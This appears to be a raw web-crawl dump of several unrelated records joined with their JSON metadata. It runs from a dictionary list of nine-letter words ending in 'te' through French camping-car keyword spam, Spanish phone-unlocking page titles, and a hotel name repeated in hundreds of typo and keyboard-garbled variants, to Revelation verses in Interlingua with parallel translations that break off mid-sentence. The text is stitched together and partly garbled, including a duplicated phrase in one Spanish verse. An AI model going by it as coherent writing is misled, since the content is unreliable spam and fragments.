hibernate hiddenite hippurite histocyte holophote holophyte homophyte hourplate housemate humectate humiliate hydrolyte hylophyte hyphenate hypocrite ichnolite illrepute illuviate imbricate immediate immigrate imogolite impactite impennate impetrate implicate imprecate impsonite inanimate incarnate incondite incremate inculcate inculpate incurvate indusiate induviate inebriate inerudite infatuate infuriate infuscate injectate innervate inoculate inopinate inquinate inquorate insatiate insensate insinuate inspirate instigate institute integrate intensate intestate intimiste intricate inumbrate inusitate inviolate iridocyte irradiate isogamete itinerate jactitate jaspilite jixianite juniorate kaliphate kalsilite kaolinite karyocyte kermesite khalifate khedivate kickplate kieserite komatiite labellate labrocyte laccolite laciniate lactocyte laevigate lamellate lamproite lancinate langouste languette lardalite larvikite lausenite lawsonite lazarette lectorate legislate lemmocyte leptocyte leucocyte leukocyte lineolate lingulate linoleate lintwhite liquidate lithocyte lixiviate locellate locuplete logothete lophocyte lorgnette lubricate lucubrate luxuriate lycophyte machinate macrocyte magnesite magnetite majorette malachite mamillate mammonite mancipate manducate manganate manganite mangouste mangulate marcasite margarite marginate marialite masterate masticate mastocyte matelotte medullate megaphyte meliorate mendicate meniscate mensurate mercurate merozoite mesophyte metaphyte meteorite methanate methylate metricate microcyte microlite microsite micturate midinette migmatite millerite ministate miscreate mislocate misrelate mizzonite modderite moldavite molybdate mongolite monophyte monoptote monzonite mordenite morganite mucronate mugearite multibyte multigate multirate multisite muscovite mussitate mycophyte myelinate myelocyte myristate mysticete nameplate natrolite necrocyte negotiate nephelite neurocyte niccolite nictitate nomothete nondebate nonfinite nonoblate normocyte nosophyte novelette noviciate novitiate nummulite nuncupate nymphette obcordate obfuscate objurgate obsecrate obsignate obstinate obumbrate officiate olivenite omphacite ophiolite orientate originate oscillate osteocyte ostiolate ottrelite oubliette outdebate ovalocyte overacute overemote overhaste overstate overwrite overwrote oxygenate ozocerite ozokerite paillette palafitte palmitate palpitate pandurate papillate parachute paraclete parapente paraphyte pardalote pargasite parhypate passivate pastorate patellate paupiette pectinate pectolite pegmatite pendulate penetrate penninite pepsinate perborate percolate perennate perforate perfusate periodate permutate persecute personate pertusate petiolate phacolite phagocyte phenacite phenakite phenolate phenylate phonolite phosphate phosphite phthalate pierrette pigeonite pignerate pignorate pinnulate pinophyte pirouette pituicyte planulate plaquette pleonaste plumulate polianite pollenate pollinate pollucite polychete ponderate porporate posthaste postulate potentate poussette powellite powermate predebate predevote predicate preexcite preignite preinvite prelocate preterite procreate propagate propylite prorogate prosecute proselyte prostrate protonate proustite provocate proximate prozymite prussiate pullulate pulmonate pulvinate punctuate pupillate purpurate pustulate pyreneite pyrophyte quartette quartzite quinolate quinovate quintette rabbinate rabbinite radiolite raffinate ravigotte reaccrete reactuate readwrite reagitate reanimate reclinate recollate recompete recompute recondite rectorate recurvate recyclate redictate redingote reeducate reelevate reexecute reformate rehydrate reinflate reinstate reisolate reiterate reluctate remediate remigrate renarrate reoperate replicate repollute reprobate repromote repudiate requisite reradiate resituate respirate restitute retaliate retardate retribute revaluate revibrate reviolate rheophyte rhipidate rhodanate rhodocyte rhodolite rhodonite rotachute rotundate roussette rubellite rubricate runcinate rusticate sacculate sagittate saprolite sarcocyte sassolite satellite satinette satrapate scapolite scelerate scheelite sciophyte scolecite scopulate scorodite segholate segregate semimatte sepiolite serinette serpulite serrulate serviette sheepcote shikimate shogunate sideplate sigillate simpliste siphonate skiophyte snackette snakebite socialite softpaste solenette soleplate solmisate solmizate sorediate soubrette soundbite soupplate spatulate speculate spermiate sphaerite spiculate spilosite spinulate sporocyte sporulate stabilate stalemate staminate starlette statuette stimulate stipitate stipulate stokesite stolonate storiette storyette stylobate stylolite subjugate sublimate sublunate subluxate subrogate substrate succinate succinite suffocate sulfamate sulfonate sulfurate sultanate supercute superette supernate supervote suppurate surrogate suscitate susurrate sylvanite sylvinite syncopate syndicate synoecete synoekete tablemate tachylite tachylyte tantalate tantalite tanzanite tellurate tellurite temperate tenophyte tephroite terebrate terminate tesselate tetradite theralite thermette thesocyte tholeiite tholobate thymocyte thyrocyte tiddivate tinguaite titillate tittivate torbanite towelette tracheate trampette translate transmute tremolite tremulate tribulate tribunate tridymite trifidate trijugate trilobate trilobite tritheite triturate troostite tuillette tungstate tungstite turbidite turbinate turnplate tycoonate typewrite typewrote uintahite ulvophyte umbellate underbite underdate undernote underrate undervote uneducate unijugate unilobate uninflate unsatiate uraninite urceolate urosomite uroxanate usherette uvarovite vaccinate vacillate vacuolate valproate vanadiate variegate variolate variolite variscite vellicate ventilate verberate verminate vexillate vicariate vigilante vindicate virgulate visagiste viscerate vivamente vivianite vizierate vulcanite vulnerate vulpinite wagonette waldflute wallplate wavellite waveplate wernerite willemite witherite woodspite wulfenite wyandotte xenophyte xerophyte yottabyte ytterbite zeagonite zettabyte zincolyte zinkenite zirconate zoogamete zygophyte zymophyte","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.litscape.com\/words_mammoth_censored\/ends_with\/e\/9_letter_words_ending_with_te.html","date":"2021-03-09T08:01:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178389472.95\/warc\/CC-MAIN-20210309061538-20210309091538-00612.warc.gz","language":"ina","language_score":0.3753400445,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.3753400444984436, \"eng_Latn_score\": 0.30344074964523315, \"lat_Latn_score\": 0.041814517229795456, \"nap_Latn_score\": 0.0294162817299366, \"sid_Latn_score\": 0.026978686451911926, \"enm_Latn_score\": 0.021084966138005257, \"bew_Latn_score\": 0.01981302909553051, \"gmv_Latn_score\": 0.0159558467566967, \"mlt_Latn_score\": 0.01589949242770672, \"ita_Latn_score\": 0.013152927160263062}","num_words":3448,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.106,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.368,"perplexity_score":13177.7,"cluster_detection":-1} +{"text":"Related posts:\nVente camping car occasion Vente camping car d occasion Vente occasion camping car Vente de camping car occasion Camping car vente occasion Vente camping car occasion particulier Vente de camping car d occasion pas cher Site de vente de camping car d occasion Vente de camping car d occasion entre particuliers Site vente camping car occasion particulier Site vente camping car occasion Site de vente camping car occasion Site de vente camping car d occasion Vente de camping car occasion le bon coin Vente camping car particulier occasion Vente occasion camping car particulier Achat vente camping car d occasion Vente camping car integral occasion Vente fourgon aménagé camping car occasion Vente camping car occasion de particulier a particulier Vente camping car occasion Vente de camping car d occasion Vente camping car d occasion Vente occasion camping car Vente de camping car occasion Camping car vente occasion Vente camping car occasion Site vente camping car occasion Vente de camping car Vente fourgon aménagé camping car occasion","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.corsablog.fr\/vente-de-camping-car-d-occasion-2\/","date":"2021-09-22T21:26:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057388.12\/warc\/CC-MAIN-20210922193630-20210922223630-00714.warc.gz","language":"ina","language_score":0.3187576234,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3187576234340668, \"vec_Latn_score\": 0.2957579791545868, \"cbk_Latn_score\": 0.1604587584733963, \"fra_Latn_score\": 0.0847930908203125, \"eng_Latn_score\": 0.010982704348862171, \"glg_Latn_score\": 0.01021513156592846}","num_words":255,"character_repetition_ratio":0.31,"word_repetition_ratio":0.325,"special_characters_ratio":0.158,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.344,"perplexity_score":14522.2,"cluster_detection":-1} +{"text":"Inicio\nSamsung\nHuawei\nMotorola\nLG\nApple\nNokia\nalcatel\nSony\nXiaomi\nMost unlocked:\nOnePlus 8\niPhone 11\nSamsung A10s\nOppo Find X2\nAll posts in:\nZTE\nComo Liberar un ZTE Blade A3Y Gratis\nComo Liberar un ZTE Blade A5 2020 Gratis\nComo Liberar un ZTE Axon 20 5G Gratis\nComo Liberar un ZTE Avid 579 Gratis\nComo Liberar un ZTE nubia Red Magic 5G Lite Gratis\nComo Liberar un ZTE Axon 11 SE 5G Gratis\nComo Liberar un ZTE Blade A3 Prime Gratis\nComo Liberar un ZTE nubia Play Gratis\nComo Liberar un ZTE Axon 11 5G Gratis\nComo Liberar un ZTE Blade Max View Gratis\nComo Liberar un ZTE Blade A7 Prime Gratis\nComo Liberar un ZTE Blade 10 Prime Gratis\nComo Liberar un ZTE Blade Vantage 2 Gratis\nComo Liberar un ZTE Blade 20 Gratis\nComo Liberar un ZTE nubia Red Magic 3s Gratis\nOlder Entries ›\nRecent Unlocked:\nOnePlus Nord N100\nSamsung Galaxy A12\nMotorola Moto G Play (2021)\nXiaomi Redmi Note 9\nLG K22\nOppo A15","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/comoliberar.com\/category\/zte\/","date":"2023-03-20T11:50:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943483.86\/warc\/CC-MAIN-20230320114206-20230320144206-00286.warc.gz","language":"ina","language_score":0.6520680189,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.652068018913269, \"glg_Latn_score\": 0.07969260960817337, \"ile_Latn_score\": 0.030018974095582962, \"ast_Latn_score\": 0.027576055377721786, \"vec_Latn_score\": 0.02238631434738636, \"lvs_Latn_score\": 0.01686101220548153, \"spa_Latn_score\": 0.014154430478811264, \"mwl_Latn_score\": 0.013867698609828949, \"ron_Latn_score\": 0.012697160243988037}","num_words":249,"character_repetition_ratio":0.342,"word_repetition_ratio":0.158,"special_characters_ratio":0.248,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.476,"perplexity_score":8701.3,"cluster_detection":-1} +{"text":"Address: Paphos, Paphos District, Paphos District - Cyprus Villa Slava Paphos Features: General:Air Conditioned Activities:Swimming pool, Garden, Water Activities, Fishing, Pool Outdoor Services:Bicycle Rental, Self Laundry Internet:Wireless internet on site.\nSituated in Paphos, the hotel is within a 30-minute drive of Paphos International Airport and offers a swimming pool and an outdoor pool. Guests can also enjoy free internet access throughout the property. There are a variety of facilities available to guests of Villa Slava Paphos, including terrace, garden and car hire. Villa Slava Paphos is a convenient base to explore nearby Paphos Castle and Tombs of the Kings. Peyia Stadium and Paphos Harbour are within an easy drive from the hotel.\nMost popular hotels in Paphos\nivlla slava paphos vlila slava paphos villa slava paphos vilal slava paphos vill aslava paphos villas lava paphos villa lsava paphos villa salva paphos villa slvaa paphos villa slaav paphos villa slav apaphos villa slavap aphos villa slava apphos villa slava ppahos villa slava pahpos villa slava papohs villa slava paphso dilla slava paphos filla slava paphos gilla slava paphos cilla slava paphos billa slava paphos villa slava paphos illa slava paphos v7lla slava paphos v8lla slava paphos v9lla slava paphos vulla slava paphos volla slava paphos vjlla slava paphos vklla slava paphos vllla slava paphos villa slava paphos vella slava paphos v lla slava paphos viila slava paphos viola slava paphos vipla slava paphos vikla slava paphos vi;la slava paphos vi,la slava paphos vi.la slava paphos vi\/la slava paphos villa slava paphos vi la slava paphos vilia slava paphos viloa slava paphos vilpa slava paphos vilka slava paphos vil;a slava paphos vil,a slava paphos vil.a slava paphos vil\/a slava paphos villa slava paphos vil a slava paphos villq slava paphos villw slava paphos vills slava paphos villx slava paphos villz slava paphos ville slava paphos villa slava paphos vill slava paphos villa slava paphos villacslava paphos villavslava paphos villabslava paphos villanslava paphos villamslava paphos villa qlava paphos villa alava paphos villa wlava paphos villa elava paphos villa dlava paphos villa xlava paphos villa zlava paphos villa clava paphos villa slava paphos villa lava paphos villa siava paphos villa soava paphos villa spava paphos villa skava paphos villa s;ava paphos villa s,ava paphos villa s.ava paphos villa s\/ava paphos villa slava paphos villa s ava paphos villa slqva paphos villa slwva paphos villa slsva paphos villa slxva paphos villa slzva paphos villa sleva paphos villa slava paphos villa sl va paphos villa slada paphos villa slafa paphos villa slaga paphos villa slaca paphos villa slaba paphos villa slava paphos villa sla a paphos villa slavq paphos villa slavw paphos villa slavs paphos villa slavx paphos villa slavz paphos villa slave paphos villa slava paphos villa slav paphos villa slava paphos villa slavacpaphos villa slavavpaphos villa slavabpaphos villa slavanpaphos villa slavampaphos villa slava 9aphos villa slava 0aphos villa slava -aphos villa slava oaphos villa slava [aphos villa slava laphos villa slava 'aphos villa slava paphos villa slava raphos villa slava aphos villa slava pqphos villa slava pwphos villa slava psphos villa slava pxphos villa slava pzphos villa slava pephos villa slava paphos villa slava p phos villa slava pa9hos villa slava pa0hos villa slava pa-hos villa slava paohos villa slava pa[hos villa slava palhos villa slava pa'hos villa slava paphos villa slava parhos villa slava pa hos villa slava paptos villa slava papyos villa slava papuos villa slava papgos villa slava papjos villa slava papbos villa slava papnos villa slava papmos villa slava paphos villa slava pap os villa slava paph8s villa slava paph9s villa slava paph0s villa slava paphis villa slava paphps villa slava paphks villa slava paphls villa slava paph;s villa slava paphos villa slava paphas villa slava paphus villa slava paph s villa slava paphoq villa slava paphoa villa slava paphow villa slava paphoe villa slava paphod villa slava paphox villa slava paphoz villa slava paphoc villa slava paphos villa slava papho رهممش سمشرش حشحاخس мшддф ыдфмф зфзрщы villa slava paphos নগততো েতোনো জোজপদে ωιλλα σλαωα παπηοσ नगततो ेतोनो जोजपदे вилла слава папхос رهممش سمشرش حشحاخس הןךךש דךשהש פשפיםד नगततो ेतोनो जोजपदे ㅍㅑㅣㅣㅁ ㄴㅣㅁㅍㅁ ㅔㅁㅔㅗㅐㄴ ܪܗܡܡܫ ܣܡܫܪܫ ܚܫܚܐܞܣ อรสสฟ หสฟอฟ ยฟย้นห","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/greecetravelforum.com\/Cyprus\/Villa-Slava-Paphos.html","date":"2023-03-27T16:00:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948673.1\/warc\/CC-MAIN-20230327154814-20230327184814-00428.warc.gz","language":"ina","language_score":0.3771050274,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3771050274372101, \"pcm_Latn_score\": 0.10616225749254227, \"nap_Latn_score\": 0.05581679567694664, \"eng_Latn_score\": 0.04471981152892113, \"swe_Latn_score\": 0.03804606571793556, \"glg_Latn_score\": 0.033620208501815796, \"lvs_Latn_score\": 0.03006596677005291, \"nrm_Latn_score\": 0.028561720624566078, \"jam_Latn_score\": 0.02703304961323738, \"fin_Latn_score\": 0.01326204277575016, \"hat_Latn_score\": 0.013034630566835403, \"lmo_Latn_score\": 0.012483726255595684, \"arg_Latn_score\": 0.010118575766682625}","num_words":1400,"character_repetition_ratio":0.427,"word_repetition_ratio":0.101,"special_characters_ratio":0.171,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.392,"perplexity_score":25731.3,"cluster_detection":-1} +{"text":"Gebrauchsanweisung für como bajar musica de itunes a iphone zum download und ausdrucken als PDF oder die Bedienungsanleitung direkt online betrachten\ncomo bajar musica de itunes a iphone\ncomo descargar musica de itunes a iphone\ncomo bajar musica de itunes a mi iphone\ncomo bajar musica de itunes a mi iphone gratis\ncomo bajar musica de itunes a mi iphone 5\ncomo bajar musica de itunes al iphone\ncomo bajar musica de itunes al iphone gratis\ncomo bajar musica de itunes al iphone 5\ncomo descargar musica de itunes a mi iphone\ncomo descargar musica de itunes a mi iphone 4\n« Vorherige —\nSeite 1\n—\nNächste »\nWelche Bedienungsanleitung suchen Sie?","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.download-handbuch.de\/anleitungen\/como%20bajar%20musica%20de%20itunes%20a%20iphone","date":"2023-09-28T08:03:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510368.33\/warc\/CC-MAIN-20230928063033-20230928093033-00691.warc.gz","language":"ina","language_score":0.4863830507,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.4863830506801605, \"spa_Latn_score\": 0.2992059588432312, \"cbk_Latn_score\": 0.02118668146431446, \"ast_Latn_score\": 0.014959841035306454, \"jam_Latn_score\": 0.01331897173076868, \"oci_Latn_score\": 0.010697307996451855}","num_words":213,"character_repetition_ratio":0.272,"word_repetition_ratio":0.27,"special_characters_ratio":0.188,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":0.488,"perplexity_score":5325.1,"cluster_detection":-1} +{"text":"Le revelation de Jesus Christo, que Deo le ha date pro monstrar a su servos le cosas que debe advenir in breve; e ille los faceva cognoscer per medio de su angelo a su servo Johannes,Modificar\nLe revelation de Jesus Christo, que Deo le ha date pro monstrar a su servos le cosas que debe advenir in breve; e ille los faceva cognoscer per medio de su angelo a su servo Johannes,\nen: The Revelation of Jesus Christ, which God gave unto him, to shew unto his servants things which must shortly come to pass; and he sent and signified it by his angel unto his servant John:\nes: LA revelación de Jesucristo, que Dios le dió, para manifestar á sus siervos las cosas que deben suceder presto; y la declaró, enviándola por su ángel á Juan su siervo,\nfr: Révélation de Jésus Christ, que Dieu lui a donnée pour montrer à ses serviteurs les choses qui doivent arriver bientôt, et qu'il a fait connaître, par l'envoi de son ange, à son serviteur Jean,\nit: La rivelazione di Gesù Cristo, che Dio gli ha data per mostrare ai suoi servitori le cose che debbono avvenire in breve; ed egli l'ha fatta conoscere mandandola per mezzo del suo angelo al suo servitore Giovanni,\npt: Revelação de Jesus Cristo, que Deus lhe deu para mostrar aos seus servos as coisas que brevemente devem acontecer; e, enviando-as pelo seu anjo, as notificou a seu servo João;\nlt: apocalypsis Iesu Christi quam dedit illi Deus palam facere servis suis quae oportet fieri cito et significavit mittens per angelum suum servo suo Iohanni\ne de Jesus Christo, le fidel teste, le primogenite del mortos e le prince del reges del terra. A ille qui nos ama, e nos ha liberate ex nostre peccatos con su sanguine,Modificar\ne de Jesus Christo, le fidel teste, le primogenite del mortos e le prince del reges del terra. A ille qui nos ama, e nos ha liberate ex nostre peccatos con su sanguine,\nen: And from Jesus Christ, who is the faithful witness, and the first begotten of the dead, and the prince of the kings of the earth. Unto him that loved us, and washed us from our sins in his own blood,\nes: Y de Jesucristo, el testigo fiel, el primogénito de los muertos, y príncipe de los reyes de la tierra. Al que nos amó, y nos ha lavado de nuestros pecados con su sangre,\nfr: et de la part de Jésus Christ, le témoin fidèle, le premier-né des morts, et le prince des rois de la terre! A celui qui nous aime, qui nous a délivrés de nos péchés par son sang,\nit: e da Gesù Cristo, il fedel testimone, il primogenito dei morti e il principe dei re della terra. A lui che ci ama, e ci ha liberati dai nostri peccati col suo sangue,\npt: e da parte de Jesus Cristo, que é a fiel testemunha, o primogênito dos mortos e o Príncipe dos reis da terra. Âquele que nos ama, e pelo seu sangue nos libertou dos nossos pecados,\nlt: et ab Iesu Christo qui est testis fidelis primogenitus mortuorum et princeps regum terrae qui dilexit nos et lavit nos a peccatis nostris in sanguine suo\nIo, Johannes, vostre fratre e participe con vos del tribulation, del regno e del constantia in Jesus, io stava in le insula appellate Patmos per causa del parola de Deo e del testimonio de Jesus.Modificar\nIo, Johannes, vostre fratre e participe con vos del tribulation, del regno e del constantia in Jesus, io stava in le insula appellate Patmos per causa del parola de Deo e del testimonio de Jesus.\nen: I John, who also am your brother, and companion in tribulation, and in the kingdom and patience of Jesus Christ, was in the isle that is called Patmos, for the word of God, and for the testimony of Jesus Christ.\nes: Yo Juan, vuestro hermano, y participante en la tribulación y en el reino, y en la paciencia de Jesucristo, estaba en la isla que es llamada Patmos, por la palabra de Dios y el testimonio de Jesucristo.\nfr: Moi Jean, votre frère, et qui ai part avec vous à la tribulation et au royaume et à la persévérance en Jésus, j'étais dans l'île appelée Patmos, à cause de la parole de Dieu et du témoignage de Jésus.\nit: Io, Giovanni, vostro fratello e partecipe con voi della tribolazione, del regno e della costanza in Gesù, ero nell'isola chiamata Patmo a motivo della parola di Dio e della testimonianza di Gesù.\npt: Eu, João, irmão vosso e companheiro convosco na aflição, no reino, e na perseverança em Jesus, estava na ilha chamada Patmos por causa da palavra de Deus e do testemunho de Jesus.\nlt: ego Iohannes frater vester et particeps in tribulatione et regno et patientia in Iesu fui in insula quae appellatur Patmos propter verbum Dei et testimonium Iesu\nLo que tu vide, scribe lo in un libro e invia lo al septe ecclesias: a Epheso, a Smyrna, a Pergamo, a Thyatira, a Sardis, a Philadelphia e a Laodicea.Modificar\nLo que tu vide, scribe lo in un libro e invia lo al septe ecclesias: a Epheso, a Smyrna, a Pergamo, a Thyatira, a Sardis, a Philadelphia e a Laodicea.\nen: Saying, I am Alpha and Omega, the first and the last: and, What thou seest, write in a book, and send it unto the seven churches which are in Asia; unto Ephesus, and unto Smyrna, and unto Pergamos, and unto Thyatira, and unto Sardis, and unto Philadelphia, and unto Laodicea.\nes: Que decía: Yo soy el Alpha y Omega, el primero y el último. Escribe en un libro lo que ves, y envía lo á las siete iglesias que están en Asia; á Efeso, y á Smirna, y á Pérgamo, y á Tiatira, y á Sardis, y á Filadelfia, y á Laodicea.\nfr: qui disait: Ce que tu vois, écris-le dans un livre, et envoie-le aux sept Églises, à Éphèse, à Smyrne, à Pergame, à Thyatire, à Sardes, à Philadelphie, et à Laodicée.\nit: Quel che tu vedi, scrivilo in un libro e mandalo alle sette chiese: a Efeso, a Smirne, a Pergamo, a Tiatiri, a Sardi, a Filadelfia e a Laodicea.\npt: que dizia: O que vês, escreve-o num livro, e envia-o às sete igrejas: a Éfeso, a Esmirna, a Pérgamo, a Tiatira, a Sardes, a Filadélfia e a Laodicéia.\nlt: dicentis quod vides scribe in libro et mitte septem ecclesiis Ephesum et Zmyrnam et Pergamum et Thyatiram et Sardis et Philadelphiam et Laodiciam\nle mysterio del septe stellas que tu ha vidite in mi dextra, e del septe candelabros de auro. Le septe stellas es le angelos del septe ecclesias, e le septe candelabros es le septe ecclesias.Modificar\nle mysterio del septe stellas que tu ha vidite in mi dextra, e del septe candelabros de auro. Le septe stellas es le angelos del septe ecclesias, e le septe candelabros es le septe ecclesias.\nen: The mystery of the seven stars which thou sawest in my right hand, and the seven golden candlesticks. The seven stars are the angels of the seven churches: and the seven candlesticks which thou sawest are the seven churches.\nes: El misterio de las siete estrellas que has visto en mi diestra, y los siete candeleros de oro. Las siete estrellas son los ángeles de las siete iglesias; y los siete candeleros que has visto, son las siete iglesias.\nfr: le mystère des sept étoiles que tu as vues dans ma main droite, et des sept chandeliers d'or. Les sept étoiles sont les anges des sept Églises, et les sept chandeliers sont les sept Églises.\nit: il mistero delle sette stelle che hai vedute nella mia destra, e dei sette candelabri d'oro. Le sette stelle sono gli angeli delle sette chiese, e i sette candelabri sono le sette chiese.\npt: Eis o mistério das sete estrelas, que viste na minha destra, e dos sete candeeiros de ouro: as estrelas são os anjos das sete igrejas, e os sete candeeiros são as sete igrejas.\nlt: sacramentum septem stellarum quas vidisti in dextera mea et septem candelabra aurea septem stellae angeli sunt septem ecclesiarum et candelabra septem septem ecclesiae sunt\nIo cognosce tu operas e tu fatiga e tu constantia e que tu non supporta le iniques e tu ha mittite al proba illes qui se defini apostolos e non lo es, e tu les ha trovate mendace;Modificar\nIo cognosce tu operas e tu fatiga e tu constantia e que tu non supporta le iniques e tu ha mittite al proba illes qui se defini apostolos e non lo es, e tu les ha trovate mendace;\nen: I know thy works, and thy labour, and thy patience, and how thou canst not bear them which are evil: and thou hast tried them which say they are apostles, and are not, and hast found them liars:\nes: Yo sé tus obras, y tu trabajo y paciencia; y que tú no puedes sufrir los malos, y has probado á los que se dicen ser apóstoles, y no lo son, y los has hallado mentirosos;\nfr: Je connais tes oeuvres, ton travail, et ta persévérance. Je sais que tu ne peux supporter les méchants; que tu as éprouvé ceux qui se disent apôtres et qui ne le sont pas, et que tu les as trouvés menteurs;\nit: Io conosco le tue opere e la tua fatica e la tua costanza e che non puoi sopportare i malvagi e hai messo alla prova quelli che si chiamano apostoli e non lo sono, e li hai trovati mendaci;\npt: Conheço as tuas obras, e o teu trabalho, e a tua perseverança; sei que não podes suportar os maus, e que puseste à prova os que se dizem apóstolos e não o são, e os achaste mentirosos;\nlt: scio opera tua et laborem et patientiam tuam et quia non potes sustinere malos et temptasti eos qui se dicunt apostolos et non sunt et invenisti eos mendaces\nNon timer lo que tu debera suffrer; ecce, le diabolo sta pro mandar alicun de vos in prision, a fin que vos sia probate; e vos habera un tribulation de dece dies. Sia fidel usque al morte, e io te dara le corona del vita.Modificar\nNon timer lo que tu debera suffrer; ecce, le diabolo sta pro mandar alicun de vos in prision, a fin que vos sia probate; e vos habera un tribulation de dece dies. Sia fidel usque al morte, e io te dara le corona del vita.\nen: Fear none of those things which thou shalt suffer: behold, the devil shall cast some of you into prison, that ye may be tried; and ye shall have tribulation ten days: be thou faithful unto death, and I will give thee a crown of life.\nes: No tengas ningún temor de las cosas que has de padecer. He aquí, el diablo ha de enviar algunos de vosotros á la cárcel, para que seáis probados, y tendréis tribulación de diez días. Sé fiel hasta la muerte, y yo te daré la corona de la vida.\nfr: Ne crains pas ce que tu vas souffrir. Voici, le diable jettera quelques-uns de vous en prison, afin que vous soyez éprouvés, et vous aurez une tribulation de dix jours. Sois fidèle jusqu'à la mort, et je te donnerai la couronne de vie.\nit: Non temere quel che avrai da soffrire; ecco, il diavolo sta per cacciare alcuni di voi in prigione, perché siate provati; e avrete una tribolazione di dieci giorni. Sii fedele fino alla morte, e io ti darò la corona della vita.\npt: Não temas o que hás de padecer. Eis que o Diabo está para lançar alguns de vós na prisão, para que sejais provados; e tereis uma tribulação de dez dias. Sê fiel até a morte, e dar-te-ei a coroa da vida.\nlt: nihil horum timeas quae passurus es ecce missurus est diabolus ex vobis in carcerem ut temptemini et habebitis tribulationem diebus decem esto fidelis usque ad mortem et dabo tibi coronam vitae\nIo cognosce ubi tu habita, que es ubi sta le throno de Satan; sed tu retene firmemente mi nomine, e tu non renegava mi fide, ni anque in le dies in los qual Antipas, mi fidel teste, esseva occidite inter vos, ubi habita Satan.Modificar\nIo cognosce ubi tu habita, que es ubi sta le throno de Satan; sed tu retene firmemente mi nomine, e tu non renegava mi fide, ni anque in le dies in los qual Antipas, mi fidel teste, esseva occidite inter vos, ubi habita Satan.\nen: I know thy works, and where thou dwellest, even where Satan's seat is: and thou holdest fast my name, and hast not denied my faith, even in those days wherein Antipas was my faithful martyr, who was slain among you, where Satan dwelleth.\nes: Yo sé tus obras, y dónde moras, donde está la silla de Satanás; y retienes mi nombre, y no has negado mi fe, aun en los días en que fué Antipas mi testigo fiel, el cual ha sido muerto entre vosotros, donde Satanás mora.\nfr: Je sais où tu demeures, je sais que là est le trône de Satan. Tu retiens mon nom, et tu n'as pas renié ma foi, même aux jours d'Antipas, mon témoin fidèle, qui a été mis à mort chez vous, là où Satan a sa demeure.\nit: Io conosco dove tu abiti, cioè là dov'è il trono di Satana; eppur tu ritieni fermamente il mio nome, e non rinnegasti la mia fede, neppur nei giorni in cui Antipa, il mio fedel testimone, fu ucciso tra voi, dove abita Satana.\npt: Sei onde habitas, que é onde está o trono de Satanás; mas reténs o meu nome e não negaste a minha fé, mesmo nos dias de Antipas, minha fiel testemunha, o qual foi morto entre vós, onde Satanás habita.\nlt: scio ubi habitas ubi sedes est Satanae et tenes nomen meum et non negasti fidem meam et in diebus Antipas testis meus fidelis qui occisus est apud vos ubi Satanas habitat\nMa io ha qualcosa contra te: que tu ibi ha qui professa le doctrina de Balaam, qui inseniava a Balac a mitter obstaculos ante le filios de Israel, inducente les a mangiar del cosas sacrificate al idolos e a committer fornication.Modificar\nMa io ha qualcosa contra te: que tu ibi ha qui professa le doctrina de Balaam, qui inseniava a Balac a mitter obstaculos ante le filios de Israel, inducente les a mangiar del cosas sacrificate al idolos e a committer fornication.\nen: But I have a few things against thee, because thou hast there them that hold the doctrine of Balaam, who taught Balac to cast a stumblingblock before the children of Israel, to eat things sacrificed unto idols, and to commit fornication.\nes: Pero tengo unas pocas cosas contra ti: porque tú tienes ahí los que tienen la doctrina de ahí los que tienen la doctrina de Balaam, el cual enseñaba á Balac á poner escándalo delante de los hijos de Israel, á comer de cosas sacrificadas á los ídolos, y á cometer fornicación.\nfr: Mais j'ai quelque chose contre toi, c'est que tu as là des gens attachés à la doctrine de Balaam, qui enseignait à Balak à mettre une pierre d'achoppement devant les fils d'Israël, pour qu'ils mangeassent des viandes sacrifiées aux idoles et qu'ils se livrassent à l'impudicité.\nit: Ma ho alcune poche cose contro di te: cioè, che tu hai quivi di quelli che professano la dottrina di Balaam, il quale insegnava a Balac a porre un intoppo davanti ai figliuoli d'Israele, inducendoli a mangiare delle cose sacrificate agli idoli e a fornicare.\npt: entretanto, algumas coisas tenho contra ti; porque tens aí os que seguem a doutrina de Balaão, o qual ensinava Balaque a lançar tropeços diante dos filhos de Israel, introduzindo-os a comerem das coisas sacrificadas a ídolos e a se prostituírem.\nlt: sed habeo adversus te pauca quia habes illic tenentes doctrinam Balaam qui docebat Balac mittere scandalum coram filiis Israhel edere et fornicari\nQui ha aures que audi lo que le Spirito dice al ecclesias. A qui vince io dara del manna occultate, e le dara etiam un petra blanc, e super le petra scribite un nomine nove que nemo cognosce, excepte ille qui lo recipe.Modificar\nQui ha aures que audi lo que le Spirito dice al ecclesias. A qui vince io dara del manna occultate, e le dara etiam un petra blanc, e super le petra scribite un nomine nove que nemo cognosce, excepte ille qui lo recipe.\nen: He that hath an ear, let him hear what the Spirit saith unto the churches; To him that overcometh will I give to eat of the hidden manna, and will give him a white stone, and in the stone a new name written, which no man knoweth saving he that receiveth it.\nes: El que tiene oído, oiga lo que el Espíritu dice á las iglesias. Al que venciere, daré á comer del maná escondido, y le daré una piedrecita blanca, y en la piedrecita un nombre nuevo escrito, el cual ninguno conoce sino aquel que lo recibe.\nfr: Que celui qui a des oreilles entende ce 